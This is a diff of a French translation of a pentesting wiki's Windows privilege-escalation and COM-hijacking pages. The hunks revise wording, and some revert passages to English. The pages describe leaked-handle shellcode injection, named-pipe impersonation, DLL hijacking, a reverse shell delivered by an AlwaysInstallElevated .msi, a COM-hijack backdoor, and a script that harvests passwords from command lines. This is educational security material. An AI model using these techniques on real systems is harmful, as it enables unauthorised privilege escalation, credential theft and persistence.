+Une fonctionnalité était auparavant disponible qui permettait le déploiement de comptes administrateurs locaux personnalisés sur un groupe de machines via les Préférences de stratégie de groupe (GPP). Cependant, cette méthode présentait des failles de sécurité significatives. Premièrement, les Objets de stratégie de groupe (GPO), stockés sous forme de fichiers XML dans SYSVOL, pouvaient être accessibles par tout utilisateur de domaine. Deuxièmement, les mots de passe contenus dans ces GPP, chiffrés avec AES256 en utilisant une clé par défaut documentée publiquement, pouvaient être déchiffrés par tout utilisateur authentifié. Cela représentait un risque sérieux, car cela pouvait permettre aux utilisateurs d'obtenir des privilèges élevés.
 
 Pour atténuer ce risque, une fonction a été développée pour scanner les fichiers GPP mis en cache localement contenant un champ "cpassword" qui n'est pas vide. Lorsqu'un tel fichier est trouvé, la fonction déchiffre le mot de passe et renvoie un objet PowerShell personnalisé. Cet objet inclut des détails sur le GPP et l'emplacement du fichier, aidant à l'identification et à la remédiation de cette vulnérabilité de sécurité.
 
@@ -1176,7 +1176,7 @@ Les classes et interfaces COM sont définies dans le registre sous **HKEY\_**_**
 
 ![](<../../images/image (729).png>)
 
-En gros, si vous pouvez **écraser l'une des DLL** qui vont être exécutées, vous pourriez **escalader les privilèges** si cette DLL doit être exécutée par un utilisateur différent.
+En gros, si vous pouvez **écraser l'une des DLL** qui vont être exécutées, vous pourriez **escalader les privilèges** si cette DLL doit être exécutée par un autre utilisateur.
 
 Pour apprendre comment les attaquants utilisent le détournement COM comme mécanisme de persistance, consultez :
 
@@ -1220,26 +1220,26 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
 ```
 ## Leaked Handlers
 
-Imaginez qu'**un processus s'exécutant en tant que SYSTEM ouvre un nouveau processus** (`OpenProcess()`) avec **un accès complet**. Le même processus **crée également un nouveau processus** (`CreateProcess()`) **avec des privilèges faibles mais héritant de tous les handles ouverts du processus principal**.\
-Ensuite, si vous avez **un accès complet au processus à faibles privilèges**, vous pouvez saisir le **handle ouvert au processus privilégié créé** avec `OpenProcess()` et **injecter un shellcode**.\
-[Lire cet exemple pour plus d'informations sur **comment détecter et exploiter cette vulnérabilité**.](leaked-handle-exploitation.md)\
-[Lire ce **autre article pour une explication plus complète sur comment tester et abuser de plus de handles ouverts de processus et de threads hérités avec différents niveaux de permissions (pas seulement un accès complet)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
+Imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\
+Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.\
+[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
+[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
 
 ## Named Pipe Client Impersonation
 
-Les segments de mémoire partagée, appelés **pipes**, permettent la communication entre processus et le transfert de données.
+Shared memory segments, referred to as **pipes**, enable process communication and data transfer.
 
-Windows fournit une fonctionnalité appelée **Named Pipes**, permettant à des processus non liés de partager des données, même sur des réseaux différents. Cela ressemble à une architecture client/serveur, avec des rôles définis comme **serveur de pipe nommé** et **client de pipe nommé**.
+Windows provides a feature called **Named Pipes**, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as **named pipe server** and **named pipe client**.
 
-Lorsque des données sont envoyées par un **client** à travers un pipe, le **serveur** qui a configuré le pipe a la capacité de **prendre l'identité** du **client**, à condition qu'il dispose des droits nécessaires **SeImpersonate**. Identifier un **processus privilégié** qui communique via un pipe que vous pouvez imiter offre une opportunité de **gagner des privilèges plus élevés** en adoptant l'identité de ce processus une fois qu'il interagit avec le pipe que vous avez établi. Pour des instructions sur l'exécution d'une telle attaque, des guides utiles peuvent être trouvés [**ici**](named-pipe-client-impersonation.md) et [**ici**](#from-high-integrity-to-system).
+When data is sent through a pipe by a **client**, the **server** that set up the pipe has the ability to **take on the identity** of the **client**, assuming it has the necessary **SeImpersonate** rights. Identifying a **privileged process** that communicates via a pipe you can mimic provides an opportunity to **gain higher privileges** by adopting the identity of that process once it interacts with the pipe you established. For instructions on executing such an attack, helpful guides can be found [**here**](named-pipe-client-impersonation.md) and [**here**](#from-high-integrity-to-system).
 
-De plus, l'outil suivant permet de **intercepter une communication de pipe nommé avec un outil comme burp :** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **et cet outil permet de lister et de voir tous les pipes pour trouver des privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
+Also the following tool allows to **intercept a named pipe communication with a tool like burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **and this tool allows to list and see all the pipes to find privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
 
 ## Misc
 
 ### **Monitoring Command Lines for passwords**
 
-Lorsqu'on obtient un shell en tant qu'utilisateur, il peut y avoir des tâches planifiées ou d'autres processus en cours d'exécution qui **passent des identifiants sur la ligne de commande**. Le script ci-dessous capture les lignes de commande des processus toutes les deux secondes et compare l'état actuel avec l'état précédent, affichant les différences.
+When getting a shell as a user, there may be scheduled tasks or other processes being executed which **pass credentials on the command line**. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences.
 ```powershell
 while($true)
 {
@@ -1301,7 +1301,7 @@ Vous avez tous les fichiers et informations nécessaires dans le dépôt GitHub
 
 https://github.com/jas502n/CVE-2019-1388
 
-## De l'administrateur au niveau d'intégrité élevé / Contournement de l'UAC
+## De l'administrateur à un niveau d'intégrité élevé / Contournement de l'UAC
 
 Lisez ceci pour **en savoir plus sur les niveaux d'intégrité** :
 
@@ -1327,7 +1327,7 @@ sc start newservicename
 ### AlwaysInstallElevated
 
 Depuis un processus à haute intégrité, vous pourriez essayer d'**activer les entrées de registre AlwaysInstallElevated** et **installer** un reverse shell en utilisant un _**.msi**_ wrapper.\
-[Plus d'informations sur les clés de registre impliquées et comment installer un _.msi_ package ici.](#alwaysinstallelevated)
+[Plus d'informations sur les clés de registre impliquées et comment installer un paquet _.msi_ ici.](#alwaysinstallelevated)
 
 ### High + SeImpersonate privilege to System
 
@@ -1335,19 +1335,19 @@ Depuis un processus à haute intégrité, vous pourriez essayer d'**activer les
 
 ### From SeDebug + SeImpersonate to Full Token privileges
 
-Si vous avez ces privilèges de jeton (vous les trouverez probablement dans un processus à haute intégrité déjà), vous pourrez **ouvrir presque n'importe quel processus** (pas de processus protégés) avec le privilège SeDebug, **copier le jeton** du processus, et créer un **processus arbitraire avec ce jeton**.\
+Si vous avez ces privilèges de jeton (vous les trouverez probablement dans un processus déjà à haute intégrité), vous pourrez **ouvrir presque n'importe quel processus** (pas de processus protégés) avec le privilège SeDebug, **copier le jeton** du processus, et créer un **processus arbitraire avec ce jeton**.\
 Utiliser cette technique consiste généralement à **sélectionner n'importe quel processus s'exécutant en tant que SYSTEM avec tous les privilèges de jeton** (_oui, vous pouvez trouver des processus SYSTEM sans tous les privilèges de jeton_).\
 **Vous pouvez trouver un** [**exemple de code exécutant la technique proposée ici**](sedebug-+-seimpersonate-copy-token.md)**.**
 
 ### **Named Pipes**
 
-Cette technique est utilisée par meterpreter pour escalader dans `getsystem`. La technique consiste à **créer un pipe puis créer/abuser un service pour écrire sur ce pipe**. Ensuite, le **serveur** qui a créé le pipe en utilisant le privilège **`SeImpersonate`** pourra **imiter le jeton** du client du pipe (le service) obtenant des privilèges SYSTEM.\
+Cette technique est utilisée par meterpreter pour s'élever dans `getsystem`. La technique consiste à **créer un pipe puis créer/abuser un service pour écrire sur ce pipe**. Ensuite, le **serveur** qui a créé le pipe en utilisant le privilège **`SeImpersonate`** pourra **imposer le jeton** du client du pipe (le service) obtenant des privilèges SYSTEM.\
 Si vous voulez [**en savoir plus sur les pipes nommés, vous devriez lire ceci**](#named-pipe-client-impersonation).\
 Si vous voulez lire un exemple de [**comment passer d'une haute intégrité à System en utilisant des pipes nommés, vous devriez lire ceci**](from-high-integrity-to-system-with-name-pipes.md).
 
 ### Dll Hijacking
 
-Si vous parvenez à **détourner une dll** étant **chargée** par un **processus** s'exécutant en tant que **SYSTEM**, vous pourrez exécuter du code arbitraire avec ces permissions. Par conséquent, le Dll Hijacking est également utile pour ce type d'escalade de privilèges, et, de plus, il est **beaucoup plus facile à réaliser depuis un processus à haute intégrité** car il aura **des permissions d'écriture** sur les dossiers utilisés pour charger des dlls.\
+Si vous parvenez à **détourner une dll** étant **chargée** par un **processus** s'exécutant en tant que **SYSTEM**, vous pourrez exécuter du code arbitraire avec ces permissions. Par conséquent, le Dll Hijacking est également utile pour ce type d'escalade de privilèges, et, de plus, il est **beaucoup plus facile à réaliser depuis un processus à haute intégrité** car il aura **des permissions d'écriture** sur les dossiers utilisés pour charger les dll.\
 **Vous pouvez** [**en savoir plus sur le Dll hijacking ici**](dll-hijacking/index.html)**.**
 
 ### **From Administrator or Network Service to System**

src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md

@@ -72,6 +72,6 @@ Name                                   Property
 PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
 Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
 ```
-Ensuite, vous pouvez simplement créer l'entrée HKCU et chaque fois que l'utilisateur se connecte, votre porte dérobée sera activée.
+Ensuite, vous pouvez simplement créer l'entrée HKCU et chaque fois que l'utilisateur se connecte, votre backdoor sera activée.
 
 {{#include ../../banners/hacktricks-training.md}}